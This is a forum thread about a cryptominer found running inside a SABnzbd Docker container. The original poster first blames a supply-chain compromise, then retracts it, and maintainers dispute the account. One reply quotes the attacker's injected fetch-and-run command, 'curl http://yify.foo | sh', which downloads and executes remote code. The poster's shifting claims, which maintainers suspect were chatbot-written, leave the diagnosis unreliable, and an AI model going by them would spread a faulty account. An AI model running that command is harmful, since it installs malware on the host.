Cryptominer found running inside SABnzbd container after manual in-app update — heads up

[ronoray]

Flagging this in case others are affected.

Setup: lscr.io/linuxserver/sabnzbd:latest in Docker Compose, network_mode: container:gluetun, PUID=1000.

What happened:

• I manually triggered an update via the SABnzbd in-app update button around 2026-05-20 00:07–03:23 UTC
• After the update completed and the container came back up, a process named bB5B0mo8 appeared running as a child of s6-svscan (the linuxserver.io init process inside the container)
• The binary ran from /tmp/bB5B0mo8 and immediately self-deleted — classic evasion technique
• It ran for approximately 33 hours at 205% CPU before I noticed
• 2.5GB of swap consumed, load average hit 9.5+ on a 6-core machine

Technical details:

• /proc/[PID]/exe → /tmp/bB5B0mo8 (deleted) — self-deleted after launch
• Parent process: s6-svscan (the linuxserver.io container init) — confirms it originated from inside the container during startup, not from the host
• Container PID namespace showed two PIDs (host PID + container PID), consistent with linuxserver.io s6-overlay
• No docker.sock mounted, container not running privileged
• No post-processing scripts configured that could explain it
• SABnzbd logs show a clean gap during the entire update window

What I checked:

• custom-cont-init.d scripts: clean (last modified Sep 2025)
• Host crontab, ~/.bashrc, ~/.profile, authorized_keys: all clean, no persistence
• Gluetun container: clean

The question: The in-app update pulls a new image and recreates the container. The miner's parent was s6-svscan, meaning it was spawned during container init — not by SABnzbd's application. This points to something in the image layer or the linuxserver.io update mechanism. Has anyone seen this? What exactly does the in-app update pull and from where?

Mitigation I've applied:

• Killed the process
• Pinned image to a specific digest, no more :latest
• Disabled in-app update
• Added cron guard that detects self-deleted binary processes and /tmp executables

Has anyone else seen bB5B0mo8 or a similar miner after a SABnzbd in-app update?

[j0nnymoe]

Any chance you could join our discord please so we can chat about this? (Also quicker responses) - we can update this post with the outcome afterwards. https://discord.gg/YWrKVTn

Just want to state there obviously should absolutely be no crypto miner bundled with this, when we've had reports of this happening in other containers, it's been due to unprotected exposed endpoints which has allowed an attacker to enter.

[drizuid]

most likely a post-run script due to exposed instance; their documentation indicates there is no updater. even if there was an updater, it wouldn't create a new container

[ronoray]

Sorry for the wrong info. I do not wish to hurt anyone's sentiment or try to prove. Since it happened I posted it just for clarification.

---

Update after further investigation — a few corrections to my original post:

"SABnzbd self-update" was wrong. SABnzbd has no in-app update mechanism. The "Update Available! — SABnzbd 5.0.3" I mentioned was just a UI notification, not an update action. I was running 5.0.1 throughout the incident. I conflated the notification with the cause.

No auto-update mechanism was running. No watchtower, no cron pulling images, nothing. Whatever changed, wasn't automated.

Post-processing scripts were not the vector. All jobs in history show Script=None. No scripts directory existed.

What I actually know:

• The process bB5B0mo8 ran inside the SABnzbd container as a child of s6-svscan, self-deleted from /tmp after launch — this part is confirmed
• The container was running the same lscr.io/linuxserver/sabnzbd image for ~14 days before the miner activated
• The old image (5.0.1) is gone — replaced during cleanup — so I can't inspect its layers now

Best remaining hypothesis: A compromised layer in the linuxserver.io image, with delayed/C2-triggered activation. But I can't prove it without the image. MITM of lscr.io at pull time is also possible.

Sorry for the misleading framing in the original post. The actual vector is unknown.

[aptalca]

Oh ffs, still blaming the image? Stop feeding chat bots prompts with your flawed assumptions.

Best remaining hypothesis is one lots of people already brought up in your reddit thread. That also happens to be the reason most if not every crypto miner in a container incident involves. You exposed it publicly without auth and got pwned. That's it. Occam's razor.

No one's putting a crypto miner in your image and making it wait 2 weeks before activating.

[ronoray]

Update + Apology — I was wrong

I want to correct my original post and apologize to the community, and specifically to the linuxserver.io team.

The root cause had nothing to do with SABnzbd, linuxserver.io, or the image update. Several of you pointed me toward the exposed-service hypothesis immediately. You were right, and I should have dug into that before posting a theory that implied a supply-chain compromise.

What actually happened: qBittorrent's WebUI had LocalHostAuth disabled and an overly broad subnet whitelist covering all private IP ranges. An attacker found the exposed API and injected an OnTorrentAdded script that ran: curl http://yify.foo | sh. The miner downloaded and executed the next time a torrent was added. The binary self-deleted after launch, which is why it looked mysterious.

The linuxserver.io image was completely clean. The SABnzbd log gap was coincidental — both containers restart together when gluetun recovers.

I jumped to a conclusion, posted it publicly, and pointed fingers at the wrong place. I'm sorry for the noise and for any concern this caused the linuxserver.io maintainers. The fix was to remove the malicious AutoRun config from qBittorrent and re-enable authentication. Lesson learned: check the obvious things first."

[opello]

Do you know how it moved from your qBittorrent container to your SABnzbd container then? Because the qBittorrent LocalHostAuth setting wouldn't really affect SABnzbd's web interface.

[j0nnymoe]

OP clearly using chatbot / LLM's to write their responses. I suspect they were following an ai hallucination.

[opello]

I think that's likely too. I just worried about discarding the chance to learn about some kind of pivot that could have been a problem. I wonder if there was even a rogue process running under the SABnzbd container at this point ... ideally it was just misidentified. But knowing would be nice.

[aptalca]

Given how many incorrect claims and assumptions the op made, it's clear to me that the entire report is highly unreliable. We have gotten a whole bunch of similar reports of crypto miners running inside containers in the past and every single instance where the user actually attempted to diagnose turned out to be a publicly available admin interface getting manipulated.

Crypto miners are among the least sophisticated compromise methods out there. They often run as an unprivileged user so they're very easy to run, but they don't even try hard to avoid detection. They all peg the cpu to 100%, which becomes easily noticeable. They play the numbers game as there are so many publicly available admin interfaces available at any given time and many more keep popping up daily:

1. Run bots 24/7 scanning for exposed services on random IPs and domains (they scan Let's Encrypt cert generation logs, which are public, to identify domains)
2. Inject crypto miner
3. Profit

It's the low hanging fruit.

[j0nnymoe]

Just as an FYI, OP posted on Reddit as well: https://www.reddit.com/r/SABnzbd/s/6eZv953d7Q

Waiting for a response either here or on Reddit.